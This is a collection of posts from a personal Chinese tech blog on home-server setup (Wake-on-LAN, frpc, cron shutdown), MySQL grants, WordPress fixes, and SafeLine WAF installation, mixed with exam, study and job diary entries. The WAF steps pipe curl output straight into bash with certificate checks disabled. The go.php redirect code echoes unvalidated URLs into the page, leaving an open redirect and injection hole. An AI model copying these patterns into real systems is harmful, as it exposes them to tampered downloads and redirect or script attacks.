指定用户访问指定数据库,并赋予全部权限 -- 创建用户,并设置密码,如果使用远程登录,则把hostname改为%,否则是localhost CREATE USER 'username'@'hostname' IDENTIFIED BY '密码'; -- 赋予全部权限给username,给database_name数据库 GRANT ALL PRIVILEGES ON database_name.* TO 'username'@'hostname'; -- 提交 FLUSH PRIVILEGES; 如果是Linux安装的MySQL,需要到Linux的终端登录MySQL执行,否则使用远程连接客户端执行MySQL语句,会报错。 ### Ubuntu 开启网络唤醒服务 🚫 家里的ITX服务器也可以不用24小时开机,还可以省下电。平时待机85W,基本上1天-1.5度电。 ✅ 下面就是怎么在Ubuntu 上开启网络唤醒服务。 安装 ethtool sudo apt install ethtool 查看有线网络的网卡名称 ifconfig 找到对应IP的网络名称,比如下面的例子,enp4s0就是网络名称 enp4s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.31.198 netmask 255.255.255.0 broadcast 192.168.31.255 ......... 查看网络唤醒服务配置的路径 root@ITX:/home/saiita# which ethtool /usr/sbin/ethtool 设置WOL服务 在/etc/systemd/system/目录下面添加1个wol.servic。添加下面的内容。 [Unit] Description=Configure Wake On LAN [Service] ExecStart=/usr/sbin/ethtool -s enp4s0 wol g Type=oneshot RemainAfterExit=yes [Install] WantedBy=multi-user.target 手动开启wol 手动运行命令 尝试手动运行 ethtool 命令,确保它能够正确地配置 Wake On LAN。执行以下命令并观察输出: sudo /usr/sbin/ethtool -s enp4s0 wol g 然后检查网络适配器的配置是否已经正确设置。你可以使用以下命令: sudo /usr/sbin/ethtool enp4s0 手动启动服务 尝试手动启动 wol.service 并查看状态。执行以下命令: sudo systemctl start wol 然后查看服务状态: sudo systemctl status wol ✅ 状态 root@ITX:/mnt/256G/docker# sudo systemctl status wol ● wol.service - Configure Wake On LAN Loaded: loaded (/etc/systemd/system/wol.service; enabled; vendor preset: enabled) Active: active (exited) since Sat 2023-11-25 20:33:33 CST; 9min ago Process: 2291387 ExecStart=/usr/sbin/ethtool -s enp4s0 wol g (code=exited, status=0/SUCCESS) Main PID: 2291387 (code=exited, status=0/SUCCESS) CPU: 1ms 11月 25 20:33:33 ITX systemd[1]: Starting Configure Wake On LAN... 11月 25 20:33:33 ITX systemd[1]: Finished Configure Wake On LAN. 安装wakeonlan 🧨 在另外一台服务器上安装wakeonlan sudo apt install wakeonlan 查看网络唤醒是否成功 在树莓派,或者另外一台设备上发送网络唤醒命令行。 🎈 首先要安装tcpdump sudo apt update sudo apt install tcpdump 🎈 在需要网络唤醒的服务器上打开终端,输入下面的命令行 sudo tcpdump -i enp4s0 'udp port 9' enp4s0 是第三步获取的网络名称 🎈 从另一台设备上使用 Wake-on-LAN 工具或命令发送唤醒数据包。 wakeonlan <MAC_ADDRESS> 其他 ✅ 如何开启主板的网络唤醒: ✅ 如何网络唤醒(开机)Ubuntu: ✅ Ubuntu 如何定时关机: ### 解决打开媒体库接口admin-ajax.php 报500问题 💢 问题现象: 打开媒体库不显示图片,F12接口报错 ✅ 解决方法: 打开wordpress 根目录的wp-config.php 添加下面2个配置项 # 解决打开媒体库报500错误 define('WP_MEMORY_LIMIT','256M'); define('WP_MAX_MEMORY_LIST','512M'); ✔ 问题解决 ### 长亭雷池在线升级 进入长亭雷池安装目录,默认是安装在/data/safeline ✔ 然后执行升级命令行 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/upgrade.sh)" ✔ 删除旧镜像 docker rmi $(docker images | grep "safeline" | grep "none" | awk '{print $3}') ✔ 升级和删除旧镜像脚本 #!/bin/bash # 升级命令行 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/upgrade.sh)" # 删除旧镜像 docker rmi $(docker images | grep "safeline" | grep "none" | awk '{print $3}') ### Linux怎么批量修改配置文件里配置项的值 今天把服务器上的frp服务移到树莓派上,然后用树莓派控制服务器开关机。所以需要批量修改frpc的IP,从127.0.0.1改成树莓派的IP地址。 以下是一个简单的Shell脚本,用于修改Linux系统中的一个文件,将所有的local_id = 127.0.0.1替换为local_id = 192.168.31.198。请记得在运行脚本之前备份文件,以防万一。 #!/bin/bash # 指定要修改的文件路径 file_path="/path/to/your/file.conf" # 检查文件是否存在 if [ ! -f "$file_path" ]; then echo "文件不存在: $file_path" exit 1 fi # 备份文件 backup_path="$file_path.bak" cp "$file_path" "$backup_path" echo "文件备份为: $backup_path" # 替换文本 sed -i 's/local_id = 127.0.0.1/local_id = 192.168.31.198/g' "$file_path" echo "已将所有的 local_id = 127.0.0.1 替换为 local_id = 192.168.31.198" 请替换/path/to/your/file.conf为你实际的文件路径。运行脚本时,确保你有执行权限。你可以使用以下命令为脚本添加执行权限: chmod +x script.sh 然后运行脚本: ./script.sh 这将修改指定文件中的所有local_id = 127.0.0.1为local_id = 192.168.31.198。请确保在运行脚本之前理解脚本的作用,并在修改文件之前备份文件。 ### 【教程】华硕主板怎么开启网络唤醒 ✔华硕主板(ROG SIRIX Z490-A GAMING) ✅ 开机按F2或者del键,进入BIOS ✅ 按F7进入高级设置 ✅ 选择 [Advanced]页面并选项[APM Configuration]选项 ✅ 点选[Power On By PCI-E]选项并设置为[Enabled]  ✅ 按压键盘F10键,点选Ok,保存选项,计算机重启后,网络唤醒功能开启 ### Ubuntu如何定时关机 ❗ 利用crontab和/sbin/shutdown -h now命令行实现Ubuntu定时关机。 🔆 步骤如下: 1、❗ 编辑当前用户的 cron 表 crontab -e 2、❗ 在文本文件中,添加以下行 表示在每天凌晨1:30执行关机命令 30 1 * * * /sbin/shutdown -h now 3、❗ 保存和退出 :wq ✅ 在这之后,每天到了凌晨1:30,系统都会执行关机命令。请确保你的系统时钟和时区设置是正确的,以避免时间误差。 ### 如何系统的学习《数据结构》 ❗ 1、学习建议: 掌握基础概念: 确保你理解数据结构的基础概念,如数组、链表、栈、队列、树、图等。这是你深入学习更复杂数据结构的基础。 选择合适的学习资源: 选择一本好的教材或在线课程。经典的教材包括《算法导论》、《数据结构与算法分析》等。在线学习平台如Coursera、edX、LeetCode等也提供了很多相关的课程和练习。 使用在线资源: 利用在线资源,如GeeksforGeeks、LeetCode、HackerRank等平台。这些平台提供了大量的题目,可以帮助你在实际问题中应用所学知识。 实践编程: 数据结构的学习最好通过实际编程来强化。使用编程语言如C++、Java、Python等,实现各种数据结构,并解决相应的问题。 阅读源代码: 阅读开源项目的源代码,特别是一些涉及到数据结构的项目。这可以帮助你了解实际应用中数据结构的使用方式。 参与开源项目或团队项目: 如果可能,参与开源项目或团队项目,这将为你提供实际的项目经验,并帮助你更好地理解数据结构在实际项目中的运用。 学习算法: 数据结构和算法是紧密相关的。学习基本排序、搜索算法,理解它们的时间和空间复杂度,有助于你更深入地理解数据结构。 参与在线社区: 加入在线技术社区,如Stack Overflow、Reddit等。在这些平台上,你可以向更有经验的人提问,分享经验,获取反馈。 持续练习和复习: 数据结构需要不断的练习和复习。通过定期的练习和回顾,巩固所学知识,提高对数据结构的理解和应用能力。 构建小项目: 尝试用所学数据结构构建小型项目。这可以帮助你将理论知识转化为实际应用,加深对数据结构的理解。 记住,数据结构的学习是一个渐进的过程,需要耐心和持续的努力。通过以上方法,你可以更加系统和全面地学习数据结构,为将来的编程工作打下坚实的基础。 当涉及到学习数据结构时,有很多优秀的书籍和在线视频资源可以选择。以下是一些建议: ❗ 2、书籍: 《算法导论》(Introduction to Algorithms) - Thomas H. Cormen, Charles E. Leiserson, Ronald L. Rivest, Clifford Stein 这是一本经典的算法和数据结构教材,深入浅出地介绍了算法和数据结构的基本概念。 《数据结构与算法分析》(Data Structures and Algorithm Analysis in C++) - Mark Allen Weiss 适合有一定编程基础的读者,结合了C++语言,涵盖了广泛的数据结构和算法主题。 《编程珠玑》(Programming Pearls) - Jon Bentley 虽然不是专门讲解数据结构,但通过实际问题的解决方法,读者可以加深对数据结构的理解。 《Cracking the Coding Interview》 - Gayle Laakmann McDowell 面向准备参加技术面试的读者,包含了大量关于数据结构和算法的实际应用问题。 ❗ 3、在线视频课程: Coursera - "Algorithms Specialization" by Stanford University 由斯坦福大学提供的课程,涵盖了算法和数据结构的基本概念,包括排序、图算法等。 edX - "Introduction to Computer Science and Programming Using Python" by MIT MIT的入门计算机科学和编程课程,其中包括对数据结构的介绍。 Udacity - "Data Structures and Algorithms Nanodegree" 针对数据结构和算法的在线纳米学位,提供实际项目和反馈。 YouTube - "Data Structures Easy to Advanced Course - Full Tutorial from a Google Engineer" by freeCodeCamp 由Google工程师制作的视频教程,从基础到高级,全面涵盖数据结构的内容。 YouTube - "Harvard's CS50: Introduction to Computer Science" 哈佛大学的计算机科学入门课程,对数据结构和算法有良好的覆盖。 在选择资源时,根据你的学习风格和水平,可以选择适合自己的书籍和视频。最重要的是,除了 passively 阅读或观看,要保持实践和动手编程,这是真正理解和掌握数据结构的关键。 ❗ 4、B站视频 《浙江大学数据结构》 这是浙江大学关于数据结构的课程,以中文授课。搜索关键词"浙江大学 数据结构"可能会找到相关视频。 《清华大学-数据结构》 清华大学也提供了关于数据结构的课程,你可以在B站上找到相关视频。 《韩顺平数据结构与算法》 韩顺平老师在Bilibili上有一些关于数据结构与算法的教学视频,可能适合初学者。 《AcWing算法基础课》 AcWing是一个在线的算法学习平台,其在Bilibili上也有一些算法基础课程的视频。 《算法与数据结构面试高频题精讲》 这是一些面向面试准备的视频,可能包含一些高频的数据结构和算法题目。 请注意,Bilibili上的视频质量和教学风格各异,建议在选择视频时查看观众的评论和评价,以确保它符合你的学习需求。此外,Bilibili上的内容可能会有时效性,因此建议查看最新的视频。 ### 软件测试工程师职业规划 ✅深化专业技能: 持续学习和更新测试工具、自动化测试框架以及相关技术。 掌握更多的测试方法和策略,包括性能测试、安全测试等领域。 参与行业会议、培训课程,保持对新兴技术和行业趋势的敏感性。 ✅自动化测试专家: 如果你还没有涉足自动化测试,考虑成为自动化测试专家。这将有助于提高效率和测试覆盖率。 掌握主流的自动化测试工具和编程语言,如Selenium、Appium、Python、Java等。 ✅质量保证(QA)领导力: 考虑向质量保证(QA)管理层发展。你可以成为项目的测试主管或质量保证经理,负责整个测试流程的规划和执行。 ✅敏捷/DevOps环境: 在敏捷或DevOps环境中扮演更为重要的角色,成为团队的一部分,了解CI/CD流程,推动质量保证与开发紧密合作。 ✅专业认证: 考虑获取一些相关的测试和质量保证方面的专业认证,如ISTQB,CSQA等,以提升自己的专业素养。 ✅跨职能团队合作: 与开发人员、产品经理等团队成员密切合作,理解整个软件开发生命周期,为团队的质量目标提供支持。 ✅创业/咨询: 如果有兴趣,可以考虑创业或提供咨询服务。有时候,丰富的经验可以转化为成功的创业机会或咨询事业。 ✅继续学术深造: 考虑进一步深造,例如攻读硕士学位,专攻软件工程、质量保证或相关领域。 最重要的是,根据你的兴趣和目标调整规划,保持对新技术和行业趋势的关注,并时刻准备适应不断变化的IT环境。 ### 软考自我感觉不理想 😐选择题和综合应用题目,自我感觉不可能及格,选择题在30分左右,大题在35分到40分左右 😐主要是学习和记住的重点偏掉了,加上记忆力不太好,昨天晚上记住的知识点,早上一起来啥也记不住,然后考试选择题大概有6分。 1、题型重点 📍选择题 📌【必考】7个内聚、7个聚合 📌【必考】计算机系统知识(主要是考地址) 📌【必考】统一建模语言UML(关联关系,依赖关系,泛化关系等) 📌【必考】网络知识(给个IP段,计算出有多少个IP) 📌【必考】系统维护(正确性维护、适应性维护、完善性维护、预防性维护) 📌【必考】W,V等模型知识 📌【必考】排序算法,给个算法描述写出算法和复杂度(移动速度) 📌其它题型记不住了。 📍5道大题 大题几乎没做过多少,视频看到的多,第一感觉就是有点懵,什么测试不足什么的不知道怎么写。 计算题比较多,时间有点不够。 2、软考机考 这次是机考,上面有计算器和笔记,比较方便,就是题目、问题挤在一起,信息获取范围较小,频繁上下翻页。 考试时间从早上8点40到中中午12点40(延迟了10分钟)。 3、软考注意点 📌要提前半个小时到1个小时到达考场,总时间=路上时间+30min~60min(因为大门哪里有好多人,队伍好长,刷身份证进入。) 📌要带一只笔,因为考场不发笔,会发草稿纸。 📌位置两边是其他考试科目,我左边就是软考中项。 📌软考登录密码不要设置过于复杂,考试的时候遇到紧急情况可以登录 4、总结 📌知识点比较多,全部记住的话要花时间和精力。 📌做选择题的时候没有总结哪里熟悉了,哪里没记住,没有专门花时间记住没掌握的知识点,没有形成完整的知识框架。 📌大题做的少,导致考试不知道怎么写了。 📌学习的时候专注力不够,不认真,不用心。 📌基本上都是自学,为了减少学习时间,是不是要报培训班呢? 📌从这个月开始到明年1月份中旬,要准备华为的测试可信考试。 最后😣有点好奇PMP知识点也挺多,为什么这么容易考过?以后PMP证书岂不是是白纸一张了?! 🙄哎,学渣一枚。 ### Ubuntu 开启自启动frpc 🔻FRP官网 🔻需要下载最新的 1、创建文件 在/etc/systemd/system目录下创建1个frpc.service文件 2、frpc.service添加配置文件 添加下面的配置项 [Unit] Description=frpc After=network.target Wants=network.target [Service] Restart=on-failure RestartSec=5 ExecStart=/mnt/256G/docker/frp/frpc -c /mnt/256G/docker/frp/frpc.toml [Install] WantedBy=multi-user.target 根据frp官网,启动frpc的命令行是 ./frpc -c ./frpc.toml 可以改为绝对路径/mnt/256G/docker/frp/frpc 再把改好的命令启动添加到ExecStart 3、设置自启动 # 刷新服务列表 systemctl daemon-reload # 设置开机自启 systemctl enable frpc.service # 启动服务 systemctl start frpc.service 4、查看进程状态 输入命令行systemctl status frpc.service查看 root@ITX:/etc/systemd/system# systemctl status frpc.service ● frpc.service - frpc Loaded: loaded (/etc/systemd/system/frpc.service; enabled; vendor preset: enabled) Active: active (running) since Thu 2023-11-02 22:05:56 CST; 3s ago Main PID: 1777216 (frpc) Tasks: 7 (limit: 28426) Memory: 2.3M CPU: 6ms CGroup: /system.slice/frpc.service └─1777216 /mnt/256G/docker/frp/frpc -c /mnt/256G/docker/frp/frpc.toml 11月 02 22:05:56 ITX frpc[1777216]: 2023/11/02 22:05:56 [I] [control.go:173] [791bbb449d0e377f] [Collabora-Office] start proxy success 11月 02 22:05:56 ITX frpc[1777216]: 2023/11/02 22:05:56 [I] [control.go:173] [791bbb449d0e377f] [qinglong] start proxy success 11月 02 22:05:56 ITX frpc[1777216]: 2023/11/02 22:05:56 [I] [control.go:173] [791bbb449d0e377f] [九号记账] start proxy success 11月 02 22:05:56 ITX frpc[1777216]: 2023/11/02 22:05:56 [I] [control.go:173] [791bbb449d0e377f] [SurveyKing] start proxy success 11月 02 22:05:56 ITX frpc[1777216]: 2023/11/02 22:05:56 [I] [control.go:173] [791bbb449d0e377f] [wiz] start proxy success 11月 02 22:05:56 ITX frpc[1777216]: 2023/11/02 22:05:56 [I] [control.go:173] [791bbb449d0e377f] [APITable] start proxy success 11月 02 22:05:56 ITX frpc[1777216]: 2023/11/02 22:05:56 [I] [control.go:173] [791bbb449d0e377f] [bitwarden] start proxy success 11月 02 22:05:56 ITX frpc[1777216]: 2023/11/02 22:05:56 [I] [control.go:173] [791bbb449d0e377f] [Heimdall] start proxy success 11月 02 22:05:56 ITX frpc[1777216]: 2023/11/02 22:05:56 [I] [control.go:173] [791bbb449d0e377f] [nextcloud] start proxy success 11月 02 22:05:56 ITX frpc[1777216]: 2023/11/02 22:05:56 [I] [control.go:173] [791bbb449d0e377f] [HomeAssistant] start proxy success 5、其他命令行 # 关闭开机自启 systemctl disable frpc.service # 停止服务 systemctl stop frpc.service # 重启服务 systemctl restart frpc.service # 查看状态 systemctl status frpc.service # 查看是否设置开机自启 systemctl is-enabled frpc.service ### 软件评测师学习情况 学习情况 还剩下不到6天时间,感觉还是不行。 选择题一直在45分上下,大部分45分以上,偶偶不及格,列题1题都没做。 学习困难 记忆力太差,学习方法也不行,边学边忘。一切的学习方法,都没有1个好的记忆力带来的效果好(没有好的记忆力能力基础,再好的学习方法都是徒劳)。 加上工作的换组,重新学习业务流程(比之前的组还要严格,必须全部记住)。 还有华为的可信考试,换组后在公司的笔记全部没有(换组后工号没了,重新分配账户),相当于重新组织学习笔记和知识框架,从零开始。 虽然软件评测师的知识点部分重叠,当是还是有很大的压力。。 考过几率 下个星期软考,感觉不行,过的几率不大。 ### 阿里云对象云存储的Endpoint在哪里查看 ✅ 进入阿里云对象云存储,Bucket列表中点击Bucket名称。 ✅ 在概览页面的访问端口,就可以查看Endpoint(地域节点)。 ✅ 如果是对外的就复制外网访问的Endpoint。 ✅ 对内网就复制对应的内网Endpoint。 阿里云的对象云存储的AccessKeyId、AccessKey Secret,可以查看下面的文章 ### 阿里云容器镜像加速地址申请 阿里云URL:https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors ### 京东买的SSD居然坏了 昨天下班回家,然后重启了下电脑后,发现dockers服务都没了。重启提示硬盘识别不了。 拆下来安装到SSD硬盘盒,果然是坏了,电脑识别不了。 提示函数错误,硬盘识别不了,存储都是0。还是买大品牌有保障,这个京东制造不行。 还好用了AI写了个备份docker数据的脚本,不至于损失过大。 ### 九号更换原装后平叉 之前因为一直掉螺丝,然后就是买螺丝安装。这样反复掉螺丝安装,导致平叉螺丝孔滑丝。安装不了。 上个星期在淘宝买的挡泥板,安装效果很差,跟轮胎对不齐,问淘宝店,说是要调节,会跟前轮不在一条线上,而且螺丝还松动的,真怕又掉螺丝。 这个挡泥板真的是一点都不好。右护板还安装不上去。 只能在九号店买个原装平叉,花了479元。 周六到店安装,然后换了后轮胎,因为气压维持不了2天,2天内从3.0降到1.5,续航用电一趟要多3%~4%的电。轮胎卸下来看了下,轮胎上还有其他钉子,共发现了3个,1个没穿透,2个穿透了。 1个上个星期补上了,还有1个没补,是刚发现的,应该是这个原因导致一直漏气。 只能在店里重新买了轮胎,250元一只,朝阳809012的轮胎,跟前面轮胎尺寸不一致,前轮是758012的。老板说不影响ABS。 最后缺少车牌支架,要等下个星期安装。 到家买了小米多模只能网关和1个智能开关面板,花了329元。 这个星期一下子花了479+250+15+329=1073元。 ### 免费个人开源WAF(长亭雷池)安装部署 ✅官网: 1、一键安装 安装dockers命令 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)" 安装过程中会提示输入路径,可以合理的输入绝对路径,然后点击回车。等待部署完成。 2、动态口令登录 部署完成后,用浏览器输入服务器IP:9443访问。 长亭雷池的登录方式比较特别,用的是动态口令登录,没有账户登录。 我用的是微软的动态口令-Authenticator。 然后输入Authenticator动态口令,就成功登录了。 3、一键更新相关长亭雷池dockers镜像 在长亭雷池跟目录下输入下面命令行 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/upgrade.sh)" 然后删除旧版docker镜像 docker rmi $(docker images | grep "safeline" | grep "none" | awk '{print $3}') 4、安装过程和使用过程遇到的问题 4.1、网络地址被占用 Creating network "safeline-ce" with driver "bridge" ERROR: Pool overlaps with other one on this address space 可以使用docker network ls 查看。一般是网段被使用了。 可以修改.env 里面的配置项SUBNET_PREFIX=172.22.222为SUBNET_PREFIX=173.22.222。 然后再重新使用下面的dockers命令行安装 docker-compose up -d ### 在华为杭研所第一天 还是跟几年前在杭研所工作一样,工作氛围和环境。 就是领键盘、鼠标、耳机不一样。 之前是随便在哪里找的旧键盘,鼠标,耳机。现在是在机器上领取,都是新的,键盘好像是机械键盘。 不知道之前是不是这样的领取方式。 ### WordPress如何添加Cloudflare Turnstile 验证码,防止机器人批量注册 上个月把验证码插件删除了,机器人就批量注册,批量发垃圾评论。 然后之前用过的验证码,不知道插件名称,找不到了。后面又百度找了个Cloudflare Turnstile插件,这个插件下载,配置挺简单。 我也找过谷歌的验证码,不过因为墙的原因使用不了。就只能使用Cloudflare Turnstile 插件使用。 下面就是怎么安装插件和配置。 安装Cloudflare Turnstile插件 在wordpress后台搜索Simple Cloudflare Turnstile,然后安装插件,并启用插件; 配置Simple Cloudflare Turnstile插件和注册 在插件配置页面有1个url,点击进去后,就会跳转到官网,没有账户的注册,我是用苹果账户登录的 Cloudflare Turnstile添加网站 首先的切换到英文,找到TurnSites。 添加网址 添加完后网址后,页面会给Site Key和Secert Key,把这2个值填到Simple Cloudflare Turnstile插件,保存,就成功了。 效果: 不过样式有点问题,有部分超出了,这个得要改下。 ### 周四请假一天,明天到华为杭研所报到 周四切换项目,公司这边要求请假一天。 然后周五到华为杭研所报到。 这下没在慧港自由了,也不知道工作顺不顺利。 ### Wordpress 添加外链go跳转页面 添加这个功能的主要目的是网站外链有可能会影响自己的博客权重,部分外链还可能存在风险。 所以添加这个go跳转页面能很好的解决这个问题。像知乎网站也有这个功能,然后我自己的导航网址也有go跳转页。 下面就是怎么添加wordpress的外链 GO跳转页面 1、在wordpress根目录添加1个go.php文件 然后在go.php放入下面的代码 <?php if(strlen($_SERVER['REQUEST_URI']) > 255 || strpos($_SERVER['REQUEST_URI'], "eval(") || strpos($_SERVER['REQUEST_URI'], "base64")) { @header("HTTP/1.1 414 Request-URI Too Long"); @header("Status: 414 Request-URI Too Long"); @header("Connection: Close"); @exit; } //通过 QUERY_STRING 取得完整的传入数据,然后取得 url=之后的所有值,兼容性更好 $t_url = preg_replace('/^url=(.*)$/i','$1',$_SERVER["QUERY_STRING"]); //数据处理 if(!empty($t_url)) { //判断取值是否加密 if ($t_url == base64_encode(base64_decode($t_url))) { $t_url = base64_decode($t_url); } //对取值进行网址校验和判断 preg_match('/^(http|https|thunder|qqdl|ed2k|Flashget|qbrowser):\/\//i',$t_url,$matches); if($matches){ $url=$t_url; $title='页面加载中,请稍候...'; } else { preg_match('/\./i',$t_url,$matche); if($matche){ $url='http://'.$t_url; $title='页面加载中,请稍候...'; } else { $url = 'http://'.$_SERVER['HTTP_HOST']; $title='参数错误,正在返回首页...'; } } } else { $title = '参数缺失,正在返回首页...'; $url = 'http://'.$_SERVER['HTTP_HOST']; } ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"> <meta name="robots" content="noindex, nofollow" /> <noscript><meta http-equiv="refresh" content="1;url='<?php echo $url;?>';"></noscript> <script> function link_jump() { //禁止其他网站使用我们的跳转页面 var MyHOST = new RegExp("<?php echo $_SERVER['HTTP_HOST']; ?>"); if (!MyHOST.test(document.referrer)) { location.href="http://" + MyHOST; } } //延时 2S 跳转,可自行修改延时时间 setTimeout(link_jump, 300000); //延时 50S 关闭跳转页面,用于文件下载后不会关闭跳转页的问题 setTimeout(function(){window.opener=null;window.close();}, 500000); </script> <title><?php echo $title;?>
您将要访问:
访问提示:
您即将离开「www.saiita.com.cn」,该网页可能包含未知的安全隐患,请注意您的账号和财产安全。
2、在网站主题文件夹下搜索functions.php 在functions.php合理的位置放入下面代码 add_filter('the_content','the_content_nofollow',999); function the_content_nofollow($content) { preg_match_all('//',$content,$matches); if($matches){ foreach($matches[2] as $val){ if(strpos($val,'://')!==false && strpos($val,home_url())===false && !preg_match('/\.(jpg|jepg|png|ico|bmp|gif|tiff)/i',$val)){ $content=str_replace("href=\"$val\"", "href=\"".home_url()."/go.php?url=$val\" ",$content); } } } return $content; } 3、效果 ### 第一次体会到了ChatGPT厉害! 这个星期在Autumn Pro微信群里谈到了外链跳转页面,为了安全和SEO就下载了wpjam-external-links插件,并上传到了博客里。 设置还挺方便在wordpress后台的WPJAM的链接设置,就可以开启外链跳转页面。 可以在文章,评论里识别外链,并点击外链时跳转到外链跳转页面。 效果如下图 不过这个插件还是有问题的,并不是十分完善。 如果外链设置了在新窗口打开,点击外链是直接跳转的目标网站,并没有经过外链跳转页面。 少了个返回主页的按键,用户只能点击继续访问,而不能返回博客 上面的图片的继续访问按键是没有颜色加深 点击插件有时候会报非法请求 想在外链跳转页面添加谷歌广告 而我自己能力有限,并不知道怎么修改。然后我就试了下chatgpt。 把相关代码输入,然后提出想要的结果。 当代码出来,运行惊呆了,符合我的预期。真的是太厉害了。先给出chatgpt修改后的效果。 厉不厉害,添加了返回主页的按键,然后继续访问按键背景加深,添加谷歌广告。 下面给出部分chatpgt给的结果(答案) 1、第一次把全部代码输入 我的提问:输入全部完整的代码 ChatGpt: 这段代码看起来是一个 WordPress 插件或主题中的 PHP 代码,用于处理外部链接的设置和跳转。它似乎是使用 WPJAM 插件开发的,用于管理外部链接的行为。以下是对代码的主要功能的解释: 定义了一个名为 WPJAM_External_Links_Setting 的 PHP 类,用于处理外部链接的设置和跳转。 get_fields 方法定义了外部链接设置的字段和选项,包括文章中的外部链接的设置、评论中的外部链接设置、以及例外情况。这些字段将在后台管理界面上用于配置插件的行为。 get_menu_page 方法定义了在 WordPress 后台管理中的菜单选项,以便用户可以访问和配置外部链接的设置。 is_exception 方法用于检查给定的链接是否是例外情况,如果链接包含在例外列表中,将不会进行跳转处理。 add_redirect_query_arg 方法用于在文章内容中查找外部链接,并根据设置添加 rel 属性、target 属性以及跳转链接,以确保外部链接的跳转和安全性。 filter_content 方法用于过滤文章内容,以添加跳转链接。 filter_comment_text 和 filter_comment_author_link 方法用于过滤评论内容和评论作者链接,以添加跳转链接。 filter_robots_txt 方法用于生成 robots.txt 文件,以阻止搜索引擎抓取跳转链接。 init 方法用于初始化插件,在此方法中根据设置添加相应的过滤器来处理外部链接。 最后,通过 wpjam_register_option 注册了一个名为 'wpjam-external-links' 的选项,这个选项将与插件的设置相关联。 总之,这段代码主要是一个用于处理外部链接设置和跳转的 WordPress 插件或主题的代码,它通过在文章内容、评论以及评论作者链接中添加跳转链接来管理外部链接的行为,并且可以根据设置排除某些链接不进行跳转处理。 2、然后提问添加返回主页的要求 我的提问:添加返回主页的按键 ChatGpt:如果你想在 "非法请求" 错误页面上添加一个返回主页的按钮,你可以在 $message 变量中添加相应的 HTML 代码。以下是如何在代码中添加返回主页的按钮: public static function init() { $redirect = wpjam_get_parameter('redirect'); if ($redirect) { error_log('Debug: ' . print_r($redirect, true)); $blog_name = get_bloginfo('title'); $message = '

即将离开「' . $blog_name . '」'; $message .= '

您即将离开「' . $blog_name . '」,请注意您的帐号和财产安全。

'; $message .= '

' . $redirect . '

'; // 添加返回主页的按钮 $message .= '

返回主页

'; wp_die($message, $blog_name . ' - 安全中心', 302); } else { if (self::get_setting('content')) { add_filter('the_content', [self::class, 'filter_content']); } if (self::get_setting('comment')) { add_filter('comment_text', [self::class, 'filter_comment_text'], 10, 2); add_filter('get_comment_author_link', [self::class, 'filter_comment_author_link'], 10, 2); } add_filter('robots_txt', [self::class, 'filter_robots_txt'], 999, 2); } } 上述代码在 $message 变量中添加了一个返回主页的按钮。这个按钮链接到网站的主页(使用 home_url() 函数)。当用户访问非法请求时,他们将看到一个 "返回主页" 的按钮,以便他们可以回到网站的主页。 确保你的修改已保存,并清除缓存以查看效果。这将允许用户返回主页,以改善用户体验。 3、添加谷歌广告 我的提问:在广告的地方提示这是谷歌广告 ChatGpt:要在广告的位置添加提示,说明这是 Google 广告,你可以在广告代码周围添加自定义 HTML 标记。下面是一个示例,如何将提示添加到广告的顶部: // ... // 添加 Google AdSense 广告 $ad_code = '
'; // 使用自定义类名 $ad_code .= '

这是 Google 广告

'; // 添加提示 $ad_code .= ''; $ad_code .= ''; // 替换为你的广告代码 $ad_code .= ''; $ad_code .= ''; $ad_code .= '
'; $message .= $ad_code; // ... 上述示例在广告的顶部添加了一个提示,说明这是 Google 广告。你可以根据需要自定义提示的样式和文本。 ### 解决谷歌人机验证打不开问题-recaptcha 1、原因 ❌ 谷歌广告跟踪代码有个https://www.google.com/recaptcha/api2/aframe 接口,打开要22秒,直接导致谷歌人机验证打不开 ❌ 拖垮wordpress网站速度 百度了好久也没有找到解决方法,这个不好解决。只能是通过谷歌浏览器的插件重定向到https://recaptcha.net/recaptcha/api2/aframe,才能解决这个问题。 问题是要安装谷歌插件才能解决,宝塔的重定向也没用。这个是真的烦。 2、Header Editor下载和配置 在谷歌插件商店搜索Header Editor,然后下载安装。 按照下面的截图进行配置 匹配规则:https://www.google.com/recaptcha/api2/aframe 重定向:https://recaptcha.net/recaptcha/api2/aframe 然后在打开博客首页,F12查看https://recaptcha.net/recaptcha/api2/aframe接口,问题就解决了。 ### 换组面试通过了 周一早上参加了华为那边2个人同时面试,面试了1个多小时。 面试的内容比较多,首先自我介绍,然后问了很多关于测试的专业知识,虽然部分答对了,但很多还是不行。 问的问题有: 自我介绍 Linux相关命令行 资源有限怎么测试,不能申请资源 输入框A(6个正常条件,4个异常条件)和输入框B(4个正常条件,2个异常条件),怎么测试 输入框只能输入数字,字母,下划线,输入框长度6~12 怎么测试 怎么保证测试质量 怎么统一测试用例规范 怎么写测试报告 ...... 问了关于软件测试知识和部分项目管理知识。 还好是学过PMP,华为软件可信测试,带过团队,还有目前在自学的软件评测师,但是回答的还不是很顺畅,不能马上联想到相关知识点。 最后今天下午交接工作,发现我负责的模块有好多地方没测到位,这个也是奇怪,之前测试BUG都已经发现解决了呀。为什么时间久了还是有问题?! 所以总结下这个问题:每次新需求,首先要保证新需求的功能正常,还要全部测试负责的模块,然后利用接口自动化和web自动化来解决重复的测试过程来保证之前的功能正常。 ### 换组失败后,投递简历 自从华为外包换项目失败后,同时也在找工作APP,投递了大量简历。 全部都是没回复,这就意味着可能要一直在华为外包工作,一直换组的那种。 一来是年龄块接近35岁,二来大部分公司,包括小公司要求学历是越来越高,刚大学毕业出来本科,只要能点点点就行,现在基本上是211,985,研究生以上。 第二个公司对软件测试的要求也是越来越高,不仅仅局限于普通的功能测试,而是要精通一门计算机语言和专注软件测试的某一方向。 所以在未来不被淘汰,只能不断学习,要想测试开发,测试专家转型。同时也要有自己的副业。 不过学习过程也是太痛苦了,这个要有强大的执行能力和毅力。 ### 全国计算机技术与软件专业技术资格开放考试机考模拟作答平台 今天全国计算机技术与软件专业技术资格官网开放了在线模拟作答网站。 是Windows安装程序。 地址:https://bm.ruankao.org.cn/sign/welcome 登录账户是:14个1和18个1 考完试,没有分数,题目内容跟软考通一致。 